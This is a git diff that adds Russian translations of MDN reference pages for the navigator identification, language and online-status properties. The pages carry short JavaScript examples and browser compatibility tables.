+ + diff --git a/files/ru/web/api/navigatorid/appcodename/index.html b/files/ru/web/api/navigatorid/appcodename/index.html new file mode 100644 index 0000000000..7f215df4c3 --- /dev/null +++ b/files/ru/web/api/navigatorid/appcodename/index.html @@ -0,0 +1,120 @@ +--- +title: NavigatorID.appCodeName +slug: Web/API/NavigatorID/appCodeName +translation_of: Web/API/NavigatorID/appCodeName +--- +

{{APIRef("HTML DOM")}}{{deprecated_header}}

+ +

NavigatorID.appCodeName всегда возвращает'Mozilla' в любом браузере. Это свойство сохраняется только для совместимости.

+ +
Примечание: Не полагаетесь на это свойство, чтобы получить настоящее имя продукта. Все браузеры возвращают "Mozilla" в качестве значения свойства.
+ +

Синтаксис

+ +
codeName = window.navigator.appCodeName
+
+ +

Значение

+ +

codeName это внутреннее имя браузера в виде {{domxref("DOMString")}}.

+ +

Пример

+ +
console.log(window.navigator.appCodeName);
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('HTML WHATWG', '#dom-navigator-appcodename', 'NavigatorID.appCodeName')}}{{Spec2('HTML WHATWG')}}Изначальное определение
+ +

Доступность в браузере

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
on Web Workers{{CompatUnknown}}{{CompatGeckoDesktop(28)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
on Web Workers{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(28)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + + +

 

diff --git a/files/ru/web/api/navigatorid/appname/index.html b/files/ru/web/api/navigatorid/appname/index.html new file mode 100644 index 0000000000..536708fca2 --- /dev/null +++ b/files/ru/web/api/navigatorid/appname/index.html @@ -0,0 +1,102 @@ +--- +title: NavigatorID.appName +slug: Web/API/NavigatorID/appName +translation_of: Web/API/NavigatorID/appName +--- +

{{APIRef("HTML DOM")}}{{deprecated_header}}

+ +

Свойство NavigatorID.appName возвращает название браузера. HTML5 спецификация также позволяет любому браузеру вернуть Netscape", по причине совместимости.

+ +

Примечание: не полагайтесь на это свойство для получения коректного имени браузера.В большинстве браузеров (Firefox, как, Chrome, Safari, Opera и Internet Explorer) возвращаемой строкой будет "Netscape".

+ +

Синтаксис

+ +
appName = window.navigator.appName
+
+ +

Значение

+ +

appName это имя браузера в виде строки.

+ +

Пример

+ +
alert(window.navigator.appName);
+// показывает имя браузера.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('HTML WHATWG', '#dom-navigator-appName', 'NavigatorID.appName')}}{{Spec2('HTML WHATWG')}}Изначальное описание
+ +

Доступность в браузере

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/navigatorid/appversion/index.html b/files/ru/web/api/navigatorid/appversion/index.html new file mode 100644 index 0000000000..676e3cf881 --- /dev/null +++ b/files/ru/web/api/navigatorid/appversion/index.html @@ -0,0 +1,103 @@ +--- +title: NavigatorID.appVersion +slug: Web/API/NavigatorID/appVersion +translation_of: Web/API/NavigatorID/appVersion +--- +

{{APIRef("HTML DOM")}}{{deprecated_header}}

+ +

Возвращает версию браузера в виде строки. Это может быть либо обычный номер версии, например, "5.0" или номер версии с более детальной информацией. Спецификация HTML5 позволяет любому браузеру вернуть "4,0", по причине совместимости.

+ +
Примечание: Не полагайтесь на это свойство для получения правильной версии браузера. В браузерах на основе Geko (таких как Firefox), и основанных на WebKit (таких как Chrome и Safari) возвращаемое значение начинается с "5.0" с последующей информацией о платформе. В Opera 10 и/или более новой версии, возвращаемое значение не соответствует актуальной версии браузера.
+ +

Синтаксис

+ +
window.navigator.appVersion
+
+ +

Значение

+ +

ver номер версии браузера в виде {{domxref("DOMString")}}.

+ +

Пример

+ +
alert("Your browser version is reported as " + navigator.appVersion);
+
+ +

Примечание

+ +

Свойство window.navigator.userAgent может содержать номер версии (например  "Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape 6/6.1"), но вы должны быть в курсе того как легко изменить строку пользовательского агента (user agent) и "обмануть" другие браузеры, платформы или пользовательские агенты, а также опрометчивых вендоров браузеров самими этими свойствами.

+ +

Свойства window.navigator.appVersion, window.navigator.appName и window.navigator.userAgent используются для "снифинга браузера" кодом. Т.е. скрипты которые пытаются выяснить, какой браузер вы используете, и настроить страницы соответственно.Это приводит к ситуации, когда браузерам приходится возвращать поддельное значение этого свойства, что бы не быть заблокированными некоторыми веб-сайтами.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('HTML WHATWG', '#dom-navigator-appVersion', 'NavigatorID.appVersion')}}{{Spec2('HTML WHATWG')}}Изначальное описание.
+ +

Доступность в браузере

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

 

diff --git a/files/ru/web/api/navigatorid/index.html b/files/ru/web/api/navigatorid/index.html new file mode 100644 index 0000000000..4366e145b4 --- /dev/null +++ b/files/ru/web/api/navigatorid/index.html @@ -0,0 +1,78 @@ +--- +title: NavigatorID +slug: Web/API/NavigatorID +translation_of: Web/API/NavigatorID +--- +

{{APIRef("HTML DOM")}}

+ +

Интерфейс NavigatorID содержит методы и свойства, позволяющие идентифицировать браузер.

+ +

В нем нет объекта типа NavigatorID, но другие интерфейсы, такие как {{domxref("Navigator")}} или {{domxref("WorkerNavigator")}}, реализуют его.

+ +

Свойства

+ +

Интерфей NavigatorID не наследует никаких других свойств.

+ +
+
{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{deprecated_inline}}
+
Всегда возвращает 'Mozilla', в других браузерах. Это свойство сохраняется только для целей совместимости.
+
{{domxref("NavigatorID.appName")}} {{readonlyInline}} {{deprecated_inline}}
+
Возвращает официальное название браузера. Не полагайтесь на это свойство, чтобы получить нужное значение.
+
{{domxref("NavigatorID.appVersion")}} {{readonlyInline}} {{deprecated_inline}}
+
Возвращает версию браузера в виде строки. Не полагайтесь на это свойство, чтобы получить нужное значение.
+
{{domxref("NavigatorID.platform")}} {{readonlyInline}} {{deprecated_inline}}
+
+
+
Возвращает строку, представляющую собой платформу браузера. Не полагайтесь на это свойство, чтобы получить нужное значение.
+
+
+
{{domxref("NavigatorID.product")}} {{readonlyInline}} {{deprecated_inline}}
+
Всегда возвращает 'Gecko' в других браузерах. Это свойство сохраняется только для целей совместимости.
+
{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}
+
Возвращает строку пользовательского агента (user agent) для текущего браузера.
+
+ +

Методы

+ +

Интерфейс NavigatorID не наследует других методов.

+ +
+
{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline()}}
+
Всегда возвращает false. Функции JavaScript taint/untaint были удалены в JavaScript 1.2. Этот метод сохраняется только для целей совместимости. Not available in workers.
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#navigatorid', 'NavigatorID')}}{{Spec2('HTML WHATWG')}}Добавлено свойство appCodeName и метод taintEnabled() для совместимости.
{{SpecName('HTML5 W3C', '#navigatorid', 'NavigatorID')}}{{Spec2('HTML5 W3C')}}Первоначальная спецификация.
+ +

Совместимость в браузерах

+ + + +

{{Compat("api.NavigatorID")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/navigatorid/platform/index.html b/files/ru/web/api/navigatorid/platform/index.html new file mode 100644 index 0000000000..27636a7722 --- /dev/null +++ b/files/ru/web/api/navigatorid/platform/index.html @@ -0,0 +1,61 @@ +--- +title: NavigatorID.platform +slug: Web/API/NavigatorID/platform +tags: + - API + - Navigator + - NavigatorID + - Property + - Refe + - platform +translation_of: Web/API/NavigatorID/platform +--- +

{{ APIRef("HTML DOM") }}

+ +

Возвращает строку, показывающую платформу браузера. Спецификация позволяет браузерам всегда возвращает пустую строку, так что не стоит полагаться на это свойство, чтобы получить надежный ответ.

+ +

Синтаксис

+ +
platform = navigator.platform
+
+ +

Значение

+ +

{{domxref("DOMString")}}, идентифицирующий платформу, на которой работает браузер, или выводит пустую строку, если браузер отказывается (или не может) идентифицировать платформу. platform - это строка, которая должна быть пустой строкой или строкой, представляющей платформу, на которой выполняется браузер.

+ +

Например: "MacIntel", "Win32", "FreeBSD i386", "WebTV OS"

+ +

Пример

+ +
console.log(navigator.platform);
+ +

Примечание

+ +

Большинство браузеров, включая Chrome, Edge и Firefox 63 и более поздние, возвращают «Win32», даже если работают в 64-разрядной версии Windows. Internet Explorer и версии Firefox до версии 63 по-прежнему сообщают «Win64».

+ +

В Firefox, general.platform.override можно использовать для переопределения значения, которое в противном случае было бы возвращено этим свойством.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('HTML WHATWG', '#dom-navigator-platform', 'NavigatorID.platform')}}{{Spec2('HTML WHATWG')}}Текущее описание.
+ +

Доступность в браузере

+ +

{{Compat("api.NavigatorID.platform")}}

+ +
 
diff --git a/files/ru/web/api/navigatorid/product/index.html b/files/ru/web/api/navigatorid/product/index.html new file mode 100644 index 0000000000..8abf33f7b1 --- /dev/null +++ b/files/ru/web/api/navigatorid/product/index.html @@ -0,0 +1,133 @@ +--- +title: NavigatorID.product +slug: Web/API/NavigatorID/product +translation_of: Web/API/NavigatorID/product +--- +

{{APIRef("HTML DOM")}}{{deprecated_header}}

+ +

Свойство NavigatorID.product возвращает имя продукта текущего браузера.

+ +
Примечание: Не полагайтесь на это свойство для получения настоящего имени продукта. Все браузеры возвращаеют "Gecko" в качестве значения этого свойства.
+ +

Синтаксис

+ +
productName = window.navigator.product
+
+ +

Значение

+ +

{{domxref("DOMString")}}.

+ +

Пример

+ +
<script>
+function prod() {
+  dt = document.getElementById("d");
+  dt.innerHTML = window.navigator.product;
+}
+</script>
+
+<button onclick="prod();">product</button>
+<div id="d"> </div>
+<!-- вернет "Gecko" -->
+
+ +

Примечание

+ +

В браузерах на основе Gecko  product соостветствует части полной строки агента пользователя которая идет первой после платформы. В пользовательском агенте Netscape 6.1, к примеру, product это "Gecko" а полная строка пользовательского агента будет: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1

+ +

В браузере на основе WebKit product вернет "Gecko", хотя часть полной строки пользовательского агента непосредственно после после платформы на самом деле следующая: (KHTML, like Gecko).

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('HTML WHATWG', '#dom-navigator-product', 'NavigatorID.product')}}{{Spec2('HTML WHATWG')}}Действующее описание
+ +

Доступность в браузере

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Для Web Workers{{CompatUnknown}}{{CompatGeckoDesktop(28)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
 Для Web Workers{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(28)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/navigatorid/taintenabled/index.html b/files/ru/web/api/navigatorid/taintenabled/index.html new file mode 100644 index 0000000000..1d7b8a1698 --- /dev/null +++ b/files/ru/web/api/navigatorid/taintenabled/index.html @@ -0,0 +1,52 @@ +--- +title: NavigatorID.taintEnabled() +slug: Web/API/NavigatorID/taintEnabled +translation_of: Web/API/NavigatorID/taintEnabled +--- +
{{APIRef("HTML DOM")}}{{deprecated_header}}
+ +

Метод NavigatorID.taintEnabled() всегда возвращает false.

+ +
Примечание: Taint был метод защиты используемый в JavaScript 1.2. Он давно был удален; этот метод остается только для поддержания совместимости с очень старыми скриптами.
+ +

Синтаксис

+ +
result = window.navigator.taintEnabled()
+
+ +

Пример

+ +
alert(window.navigator.taintEnabled());
+// returns false
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('HTML WHATWG', 'webappapis.html#dom-navigator-taintEnabled', 'NavigatorID.taintEnabled')}}{{Spec2('HTML WHATWG')}}Изначальное описание
+ +

Доступность в браузере

+ + + +

{{Compat("api.NavigatorID.taintEnabled")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/navigatorid/useragent/index.html b/files/ru/web/api/navigatorid/useragent/index.html new file mode 100644 index 0000000000..57654d7e50 --- /dev/null +++ b/files/ru/web/api/navigatorid/useragent/index.html @@ -0,0 +1,124 @@ +--- +title: NavigatorID.userAgent +slug: Web/API/NavigatorID/userAgent +translation_of: Web/API/NavigatorID/userAgent +--- +

{{ApiRef("HTML DOM")}}

+ +

Возвращает строку агента пользователя текущего браузера.

+ +

Синтаксис

+ +
var ua = window.navigator.userAgent;
+
+ +

Значение

+ +

ua хранит строковое значение агента пользователя для текущего браузера.

+ +

Свойство window.navigator.userAgent для чтения и записи; оно не имеет значения по умолчанию.

+ +

Строка пользовательского агента основана на формальной структуре, которая может быть разложена на несколько кусков информации. Каждый из этих кусков информации происходит от других свойств navigator, которые также устанавливаются пользователем. Браузеры, основанные на Gecko, подчиняются следующей структуре:

+ +
userAgent = appCodeName/appVersion number (Platform; Security; OS-or-CPU;
+Localization; rv: revision-version-number) product/productSub
+Application-Name Application-Name-version
+
+ +

Пример

+ +
alert(window.navigator.userAgent)
+// alerts "Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1"
+
+ +

Примечание

+ +

Идентификация браузера на основе обнаружения строки агента пользователя является ненадежной и не рекомендуется, так как строка пользовательского агента может быть изменена пользователем. Например:

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('HTML WHATWG', '#dom-navigator-useragent', 'NavigatorID.userAgent')}}{{Spec2('HTML WHATWG')}}Начальное описание
+ +

Доступность в браузере

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/navigatorlanguage/index.html b/files/ru/web/api/navigatorlanguage/index.html new file mode 100644 index 0000000000..0a5a5340e6 --- /dev/null +++ b/files/ru/web/api/navigatorlanguage/index.html @@ -0,0 +1,141 @@ +--- +title: NavigatorLanguage +slug: Web/API/NavigatorLanguage +translation_of: Web/API/NavigatorLanguage +--- +

{{APIRef("HTML DOM")}}

+ +

NavigatorLanguage содержит методы и свойства, связанные с языком навигатора.

+ +

В нем нет объекта типа NavigatorLanguage, но другие интерфейсы, такие как {{domxref("Navigator")}} или {{domxref("WorkerNavigator")}}, реализуют его.

+ +

Свойства

+ +

Интерфейс NavigatorLanguage не наследует других свойств.

+ +
+
{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}
+
Возвращает {{domxref("DOMString")}} представлящий собой предпочитаемый язык пользователя, как правило, язык пользовательского интерфейса браузера.
+
{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}
+
Возвращает массив {{domxref("DOMString")}} представляющий собой языки известные пользователю в порядке предпочтения.
+
+ +

Методы

+ +

Интерфейс NavigatorLanguage ничего не реализовывает и ничего не наследует.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('HTML WHATWG', '#navigatorlanguage', 'NavigatorLanguage')}}{{Spec2('HTML WHATWG')}}Со времени последнего снимка {{SpecName('HTML5 W3C')}}, языковое свойство было добавлено.
{{SpecName('HTML5 W3C', '#navigatorlanguage', 'NavigatorLanguage')}}{{Spec2('HTML5 W3C')}}Первоначальная спецификация; снимок ранней версии {{SpecName('HTML WHATWG')}}.
+ +

Доступность в браузерах

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Языки37{{CompatGeckoDesktop("32")}}{{CompatNo}}24{{CompatNo}}
on {{domxref("WorkerNavigator")}}{{CompatUnknown}}{{CompatGeckoDesktop("35")}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Языки{{CompatUnknown}}{{CompatUnknown}} {{CompatGeckoMobile("32")}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
on {{domxref("WorkerNavigator")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("35")}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/navigatorlanguage/language/index.html b/files/ru/web/api/navigatorlanguage/language/index.html new file mode 100644 index 0000000000..4ad6500fb0 --- /dev/null +++ b/files/ru/web/api/navigatorlanguage/language/index.html @@ -0,0 +1,138 @@ +--- +title: NavigatorLanguage.language +slug: Web/API/NavigatorLanguage/language +translation_of: Web/API/NavigatorLanguage/language +--- +

{{ APIRef("HTML DOM") }}

+ +

Свойство NavigatorLanguage.language только для чтения, оно возвращает строку, представляющую предпочтитаемый пользователем язык, как правило это язык пользовательского интерфейса браузера.

+ +

Синтаксис

+ +
lang = globalObj.navigator.language
+
+ +

Значение

+ +

Строка представляющая версию языка которая определена в RFC 4646. Примеры валидных языковых кодов включают "en", "EN-US", "FR", "es-ES" и т.д.

+ +

Пример

+ +
if ( window.navigator.language.slice(0, 2) !== "en" ) {
+ doLangSelect(window.navigator.language);
+}
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{ SpecName('HTML5 Web application', '#dom-navigator-language', 'navigator.language') }}{{ Spec2('HTML5.1') }}Начальное описание.
+ +

Доступность в браузерах

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка +

{{ CompatVersionUnknown() }}

+ +

Возвращает язык пользовательского интерфейса, но не значение Accept-Language HTTP header.

+ 		+

{{ CompatGeckoDesktop(1.0) }}

+ +

До Gecko 2.0 {{ geckoRelease("2.0") }}, значение этого свойства было частью строки пользовательского агента, таким как передает {{ domxref("window.navigator.userAgent", "navigator.userAgent") }}.

+ +

Начиная с Gecko 5.0 {{ geckoRelease("5.0") }}, значение этого свойства основыванно на значении Accept-Language HTTP header.

+ 		+

11.0

+ +

Ближайщее доступное(не стандартиризованное) свойствоuserLanguage и browserLanguage.

+ 		{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
on {{domxref("WorkerNavigator")}}{{CompatUnknown}} +

{{CompatGeckoDesktop("35")}}

+ 		{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatVersionUnknown() }}{{ CompatGeckoMobile(1.0) }} +

{{ CompatNo() }}

+ +

Ближайщее доступное(не стандартиризованное) свойство userLanguage и browserLanguage.

+ 		{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
on {{domxref("WorkerNavigator")}}{{CompatUnknown}} +

{{CompatGeckoDesktop("35")}}

+ 		+

{{ CompatNo() }}

+ 		{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/navigatorlanguage/languages/index.html b/files/ru/web/api/navigatorlanguage/languages/index.html new file mode 100644 index 0000000000..560874e85d --- /dev/null +++ b/files/ru/web/api/navigatorlanguage/languages/index.html @@ -0,0 +1,118 @@ +--- +title: NavigatorLanguage.languages +slug: Web/API/NavigatorLanguage/languages +translation_of: Web/API/NavigatorLanguage/languages +--- +

{{APIRef("HTML DOM")}}{{SeeCompatTable}}

+ +

Свойство NavigatorLanguage.languages только для чтения, возвращающее массив {{domxref("DOMString")}} показывающее предпочитаемые пользователем языки. language описывает использование языковых тегов BCP 47. В возвращаемом массиве они отсортированы по предпочтению с наиболее предпочтитаемым языком в первую очередь.

+ +

Значение {{domxref("NavigatorLanguage.language","navigator.language")}} это первый элемент в полученном массиве.

+ +

Когда значение изменится, так как изменится предпочитаемый язык пользователя {{event("languagechange")}} событие уведомит объект {{domxref("Window")}}.

+ +

HTTP Заголовок Accept-Language в каждом HTTP запросе от браузера пользователя, использует такое же значение как и в свойстве navigator.languages кроме дополнительного qvalues (quality values) поля (например: en-US;q=0.8).

+ +

Синтаксис

+ +
preferredLanguages = globalObj.navigator.languages
+
+ +

Примеры

+ +
navigator.language   //"en-US"
+navigator.languages  //["en-US", "zh-CN", "ja-JP"]
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{ SpecName('HTML5.1', '#dom-navigator-languages', 'NavigatorLanguage.languages') }}{{ Spec2('HTML5.1') }}Начальное описание
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка32{{ CompatGeckoDesktop("32") }} [1]{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
on Web workers{{CompatUnknown}}{{CompatGeckoDesktop("35")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatNo() }}{{ CompatGeckoMobile("32") }}[1]{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
on Web workers{{CompatUnknown}}{{CompatGeckoMobile("35")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1]В Firefox, the navigator.languages значение свойства берется из intl.accept_languages предписаний.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/navigatoronline/index.html b/files/ru/web/api/navigatoronline/index.html new file mode 100644 index 0000000000..5274cf363f --- /dev/null +++ b/files/ru/web/api/navigatoronline/index.html @@ -0,0 +1,122 @@ +--- +title: NavigatorOnLine +slug: Web/API/NavigatorOnLine +translation_of: Web/API/NavigatorOnLine +--- +

{{APIRef("HTML DOM")}}

+ +

Интерфейс NavigatorOnLine содержит методы и свойства, связанные со статусом подключения браузера.

+ +

В NavigatorOnLine нет объектов другого типа, но другие интерфейсы, {{domxref("Navigator")}} или {{domxref("WorkerNavigator")}}, реализуют его.

+ +

Свойства

+ +

Интерфейс NavigatorOnLine не наследует других свойств.

+ +
+
{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}
+
Возвращает {{domxref("Boolean")}}, показывающий работает ли браузер в сети.
+
+ +

Методы

+ +

Интерфейс NavigatorOnLine не имеет никакой реализации и не наследует никакой метод.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('HTML WHATWG', '#navigatoronline', 'NavigatorOnLine')}}{{Spec2('HTML WHATWG')}}Без изменений с последнего снимка,{{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', '#navigatoronline', 'NavigatorOnLine')}}{{Spec2('HTML5 W3C')}}Снимок {{SpecName('HTML WHATWG')}} с перврначальной спецификацией.
+ +

Совместимость в браузерах

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
on {{domxref("WorkerNavigator")}}{{CompatUnknown}}{{CompatGeckoDesktop(29)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
on {{domxref("WorkerNavigator")}}{{CompatUnknown}}{{CompatGeckoMobile(29)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/navigatoronline/online/index.html b/files/ru/web/api/navigatoronline/online/index.html new file mode 100644 index 0000000000..afb1f8380b --- /dev/null +++ b/files/ru/web/api/navigatoronline/online/index.html @@ -0,0 +1,147 @@ +--- +title: NavigatorOnLine.onLine +slug: Web/API/NavigatorOnLine/onLine +translation_of: Web/API/NavigatorOnLine/onLine +--- +

{{ApiRef("HTML DOM")}}

+ +

Возвращает сетевой статус браузера. Свойство возвращает логическое (boolean) значение, true означает online и false означает offline.Свойство обновляется всякий раз, когда способность браузера к подключению к сети изменится. Обновление происходит тогда, когда пользователь следует по ссылке или когда скрипт запрашивает удаленную страницу. Например, свойство должно вернуть false, когда пользователь кликает по ссылке, вскоре после потери подключения к интернету.

+ +

Браузеры реализуют это свойство по-разному.

+ +

В Chrome и Safari, если браузер не может соединиться с локальной сетью (LAN) или роутером, это будет означать offline; во всех остальных случаях вернется true.Таким образом, мы можем предположить что браузер не в сети, когда возвращаемое значение false, но вы не можете предположить  что значение true обязательно обозначает что браузер может получить доступ к интернету. Вы можете получать ложные срабатывания, например, в случаях, когда компьютер под управлением программного обеспечения для виртуализации, которое имеет виртуальные сетевые адаптеры, которые всегда "Подключено". Поэтому, если вы действительно хотите, чтобы определять состояние браузера, вы должны разработать дополнительные средства проверки. Чтобы узнать больше, смотрите статью HTML5 Working Off the Grid.

+ +

В Firefox и Internet Explorer, переключение браузера в автономный режим посылает false значение. Во всех остальных случаях возвращается значение true.

+ +

Вы можете увидеть изменения в состоянии сети путем прослушивания событий window.ononline и window.onoffline.

+ +

Синтаксис

+ +
online = window.navigator.onLine;
+
+ +

Описание

+ +

online это логическое true или false.

+ +

Пример

+ +

Посмотрите на действующий пример.

+ +

Для проверки находитесь ли вы в сети, вызовите window.navigator.onLine, как показано в примере:

+ +
if (navigator.onLine) {
+  alert('online');
+} else {
+  alert('offline');
+}
+ +

Если браузер не поддерживает navigator.onLine в примере выше, то всегда будет false/undefined.

+ +
